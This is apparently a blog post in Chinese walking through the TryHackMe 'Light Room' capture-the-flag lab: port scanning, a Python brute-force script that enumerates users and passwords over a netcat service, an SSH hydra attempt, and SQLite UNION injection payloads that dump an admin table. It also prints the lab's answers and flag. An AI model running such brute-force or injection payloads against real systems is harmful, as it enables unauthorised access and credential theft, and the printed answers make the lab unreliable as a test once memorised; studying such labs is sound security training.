TryHackMe: Light Room
TryHackMe: Light Room
目标
- Question 1: What is the admin username?
- Question 2: What is the password to the username mentioned in question 1?
- Question 3: What is the flag?
I.主机发现
目标靶机IP:10.49.165.180
本机IP:192.168.138.171
II.信息搜集
1.端口扫描
$ sudo nmap -sS -Pn -p- --max-retries 3 --stats-every 10 -T 3 -oN ports.nmap 10.49.165.180
PORT STATE SERVICE
22/tcp open ssh
1337/tcp open waste
可以看到有2个开放的端口:22、1337。接下来探测一下这2个接口的详细信息与对应服务器系统:
$ sudo nmap -sV -Pn -O -p 22,1337 -oN ports_details.nmap 10.49.165.180
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
1337/tcp open waste?
Running (JUST GUESSING): Linux 5.X|6.X|4.X (96%), Google Android 10.X|11.X|12.X (93%)
OS CPE: cpe:/o:linux:linux_kernel:5 cpe:/o:linux:linux_kernel:6 cpe:/o:linux:linux_kernel:4 cpe:/o:google:android:10 cpe:/o:google:android:11 cpe:/o:google:android:12 cpe:/o:linux:linux_kernel:5.4
Aggressive OS guesses: Linux 5.14 - 6.8 (96%), Linux 4.15 - 5.19 (96%), Linux 4.15 (96%), Linux 5.4 - 5.15 (96%), Android 10 - 12 (Linux 4.14 - 4.19) (93%), Android 10 - 11 (Linux 4.9 - 4.14) (92%), Android 12 (Linux 5.4) (92%), Android 9 - 11 (Linux 4.9 - 4.14) (92%), Linux 2.6.32 (92%), Linux 2.6.39 - 3.2 (92%)
2.可以考虑连接一下这个1337端口
$ nc -nv 10.49.165.180 1337
出现如下界面:
尝试了一下,这里是没有频控的,可以考虑爆破、枚举。
拉取Seclists字典库:
$ git clone --depth 1 https://github.com/danielmiessler/SecLists.git
使用里面的 names.txt 字典。
import pexpect
import threading
from tqdm import tqdm
from concurrent.futures import ThreadPoolExecutor
THREADS = 5
COMMAND = "nc -nv 10.49.165.180 1337"
FIRST_PROMPT = "username: "
NEXT_PROMPT = "username: "
FILE_PATH = "SecLists/Usernames/Names/names.txt"
TIMEOUT = 30
lock = threading.Lock()
stop_event = threading.Event()
def create_child():
return pexpect.spawn(
COMMAND,
encoding="utf-8",
timeout=TIMEOUT
)
def process(child, lines, progress):
try:
child.expect_exact(FIRST_PROMPT)
while not stop_event.is_set():
with lock:
if stop_event.is_set():
break
item = next(lines, None)
if item is None:
break
line_number, line = item
line = line.rstrip('\n')
try:
child.sendline(line)
child.expect_exact(NEXT_PROMPT)
result = child.before
except (pexpect.TIMEOUT, pexpect.EOF) as e:
raise RuntimeError(
f"第 {line_number} 行处理失败: {type(e).__name__}"
) from e
with lock:
if 'not' not in result:
tqdm.write(f'find it: {line}')
progress.update(1)
except BaseException:
stop_event.set()
raise
def worker(lines, progress):
try:
with create_child() as child:
process(child, lines, progress)
except BaseException:
stop_event.set()
raise
def main():
stop_event.clear()
with open(FILE_PATH, 'r', encoding='utf-8') as f:
total = sum(1 for _ in f)
f.seek(0)
lines = enumerate(f, start=1)
with create_child() as child:
with tqdm(
total=total,
unit="line",
desc="Processing",
dynamic_ncols=True
) as progress:
with ThreadPoolExecutor(
max_workers=THREADS - 1
) as executor:
futures = [
executor.submit(worker, lines, progress)
for _ in range(THREADS - 1)
]
try:
process(child, lines, progress)
for future in futures:
future.result()
except BaseException:
stop_event.set()
raise
child.interact()
if __name__ == "__main__":
main()
可以爆破/枚举出来以下用户与密码:
- alice: tF8tj2o94WE4LKC
- hazel: EcSuU35WlVipjXG
- john: e74tqwRh2oApPo6
- michael: 7DV4dwA0g5FacRe
- ralph: YO1U9O1m52aJImA
- rob: yAn4fPaF2qpCKpR
- steve: WObjufHX1foR8d7
其中有一次出现用户名,却没有出现密码:d'anne。
观察到这个用户名里面有',这就可以想到SQL注入。
III.获取问题答案
1.尝试ssh登陆
根据上面获取的用户名与密码来尝试登陆ssh。
制作 username.txt 和 password.txt 。
$ hydra -L username.txt -P password.txt -t 2 -V ssh://10.49.165.180
没有成功。
2.尝试SQL注入
可以看到有黑名单过滤,但是并不完全,有“缝隙”。
可以猜测执行的SQL语句:select Password from ... where Username='xxx' limit 30,注入点就在 xxx。
输入如下:
' Union Select group_concat(name) from sqlite_master where type='table' and '1'='1
可以得到如下2个表:
- usertable
- admintable
那要回答问题,答案应该就是在 admintable 表里面。
接下来就是在 admintable 表里面查询:
' Union Select sql FROM sqlite_master WHERE name='admintable
可以看到 admintable 有三个字段:id、username、password。
-1' Union Select group_concat(id||':'||username||':'||password) from admintable where '1'='1
IV.问题答案
-
What is the admin username?
TryHackMeAdmin
-
What is the password to the username mentioned in question 1?
mamZtAuMlrsEy5bp6q17
-
What is the flag?
THM{SQLit3_InJ3cTion_is_SimplE_nO?}
作者:curme_miller,转载请注明原文链接:https://www.cnblogs.com/curme/p/23813174

浙公网安备 33010602011771号